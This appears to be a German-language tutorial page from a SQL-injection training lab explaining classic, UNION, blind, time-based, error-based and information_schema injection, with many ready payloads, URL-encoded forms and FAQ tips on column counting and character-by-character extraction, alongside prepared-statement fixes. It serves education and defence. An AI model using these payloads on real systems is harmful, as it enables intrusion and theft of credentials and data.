🐛

SQL-Injection Methoden verstehen

Detaillierte technische Erklärungen zu SQL-Injection-Techniken – Wie sie funktionieren und warum sie wirken

Methoden verstehen

SQL-Injection Methoden

Classic SQL Injection

Grundlegende Technik

Die grundlegendste Form der SQL-Injection durch String-Konkatenation

Wie es funktioniert:

' OR '1'='1' --

Der Apostroph beendet den String, OR '1'='1' ist immer wahr, -- kommentiert den Rest aus

Verwundbarer Code:

SELECT * FROM users WHERE username = '$username' AND password = '$password'

Sicherer Code:

SELECT * FROM users WHERE username = ? AND password = ?

Weitere Beispiele:

' OR 1=1 -- Numerische Bedingung
' OR 'a'='a' -- String-Vergleich
admin' -- Gezielter Login

UNION SELECT Injection

Datenextraktion

Kombiniert Ergebnisse aus verschiedenen Tabellen mit dem UNION-Operator

Wie es funktioniert:

' UNION SELECT null, username, password FROM users --

UNION kombiniert Ergebnisse zweier SELECT-Statements mit gleicher Spaltenanzahl

Technische Details:

  • Spaltenanzahl ermitteln: Mit ORDER BY testen
  • UNION-Anforderungen: Gleiche Spaltenanzahl und kompatible Datentypen
  • NULL-Werte: Zum Auffüllen verwenden

Warum es funktioniert:

Der SQL UNION-Operator kombiniert die Ergebnisse von zwei oder mehr SELECT-Statements. Die ursprüngliche Abfrage liefert ihre Ergebnisse, und unsere injizierte UNION-Abfrage fügt zusätzliche Daten hinzu.

Praktische Beispiele:

' UNION SELECT 1, username, password FROM users -- Benutzerdaten extrahieren
' UNION SELECT @@version, database(), user() -- Systeminfo abrufen

Boolean-based Blind SQL Injection

Blind-Technik

Nutzt unterschiedliche Anwendungsverhalten bei True/False-Bedingungen

Konzept:

Verschiedene Bedingungen führen zu unterschiedlichen Anwendungsantworten

' AND 1=1 --
Normale Antwort
' AND 1=2 --
Keine Ergebnisse

Warum es funktioniert:

Die Anwendung reagiert unterschiedlich auf wahre und falsche Bedingungen. Durch systematisches Testen können Informationen extrahiert werden.

Erweiterte Beispiele:

' AND (SELECT COUNT(*) FROM users) > 0 -- Tabellenexistenz prüfen
' AND LENGTH(database()) > 5 -- Datenbanknamen-Länge

Time-based Blind SQL Injection

Zeitbasierte Technik

Nutzt zeitbasierte Verzögerungen zur Informationsgewinnung

Funktionsweise:

' OR IF(1=1, SLEEP(5), 0) --

Verzögerungen in der Antwortzeit zeigen erfolgreiche Injection an

Warum es funktioniert:

Zeitbasierte Antworten sind messbar und können als Informationskanal genutzt werden. Wenn eine Bedingung wahr ist, wird eine Verzögerung ausgelöst.

Praktische Anwendung:

' OR IF((SELECT COUNT(*) FROM users) > 0, SLEEP(5), 0) -- Tabelle existiert
' OR IF(SUBSTRING(@@version,1,1)='5', SLEEP(5), 0) -- Version prüfen

Error-based SQL Injection

Fehlerbasierte Technik

Nutzt Fehlermeldungen zur Informationsgewinnung

Prinzip:

Detaillierte Fehlermeldungen verraten Datenbankstrukturen

' AND (SELECT COUNT(*) FROM information_schema.tables) --

Warum es funktioniert:

Viele Datenbanken geben detaillierte Fehlermeldungen aus, die Informationen über Tabellen, Spalten und Datentypen preisgeben.

Erweiterte Techniken:

' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT @@version))) -- MySQL Version extrahieren
' AND 1=CAST((SELECT @@version) AS INT) -- Type-Casting Fehler

Information Schema Injection

Metadaten-Extraktion

Nutzt Metadaten-Tabellen zur Datenbankstruktur-Erkundung

Was ist information_schema:

Eine standardisierte Metadaten-Datenbank, die Informationen über alle Tabellen, Spalten und Strukturen enthält.

Wichtige Tabellen:

information_schema.tables Alle Tabellennamen
information_schema.columns Spaltennamen und -typen
information_schema.schemata Datenbanknamen

Warum es funktioniert:

Die information_schema-Tabellen sind in den meisten SQL-Datenbanken verfügbar und enthalten standardisierte Metadaten über die Datenbankstruktur.

Praktische Beispiele:

' UNION SELECT table_name, null FROM information_schema.tables -- Alle Tabellen auflisten
' UNION SELECT column_name, data_type FROM information_schema.columns WHERE table_name='users' -- Spalten einer Tabelle

URL-Encoding

Warum URL-Encoding wichtig ist

Sonderzeichen in URLs müssen kodiert werden, damit SQL-Injection-Payloads korrekt übertragen werden.

Leerzeichen %20
Anführungszeichen ' %27
Gleichheitszeichen = %3D
Raute # %23

Praktische Beispiele

Original: ' OR '1'='1' --
URL-kodiert: %27%20OR%20%271%27%3D%271%27%20--
Original: ' UNION SELECT null, username FROM users --
URL-kodiert: %27%20UNION%20SELECT%20null,%20username%20FROM%20users%20--

Technische Details

Prepared Statements: Wie sie SQL-Injection verhindern

Prepared Statements trennen SQL-Code von Daten. Der Code wird vorkompiliert und Daten werden später als Parameter gebunden, wodurch eine Interpretation als SQL-Code verhindert wird.

PHP

$stmt = $pdo->prepare('SELECT * FROM users WHERE username = ? AND password = ?'); $stmt->execute([$username, $password]);

Python

cursor.execute('SELECT * FROM users WHERE username = %s AND password = %s', (username, password))

Java

PreparedStatement stmt = connection.prepareStatement("SELECT * FROM users WHERE username = ? AND password = ?"); stmt.setString(1, username); stmt.setString(2, password);

Erweiterte Level-Übersicht

Häufig gestellte Fragen

Wie ermittle ich die richtige Spaltenanzahl für UNION SELECT?

Verwende die ORDER BY-Klausel, um die Spaltenanzahl zu ermitteln:

' ORDER BY 1 -- (funktioniert) ' ORDER BY 2 -- (funktioniert) ' ORDER BY 3 -- (Fehler - zu viele Spalten)

Die höchste funktionierende Nummer ist deine Spaltenanzahl.

Warum funktioniert meine UNION SELECT-Injection nicht?

Häufige Probleme:

  • Falsche Spaltenanzahl: Beide SELECT-Statements müssen gleich viele Spalten haben
  • Datentyp-Inkompatibilität: Verwende NULL-Werte für unbekannte Typen
  • Fehlende Kommentare: Vergiss nicht das -- am Ende
Wie nutze ich information_schema effektiv?

Systematisches Vorgehen:

  1. Datenbanken finden: SELECT schema_name FROM information_schema.schemata
  2. Tabellen finden: SELECT table_name FROM information_schema.tables
  3. Spalten finden: SELECT column_name FROM information_schema.columns WHERE table_name='users'
Was mache ich, wenn Semikolons gefiltert werden?

Vermeide zusätzliche Statements und arbeite nur mit UNION SELECT:

' UNION SELECT username, password FROM users --

Anstatt zu versuchen, Tabellen zu löschen, fokussiere dich auf Datenextraktion.

Wie funktioniert Blind SQL Injection in der Praxis?

Blind SQL Injection erfordert systematisches Testen:

' AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1) = 'a' --

Durch schrittweises Testen jedes Zeichens können Daten extrahiert werden.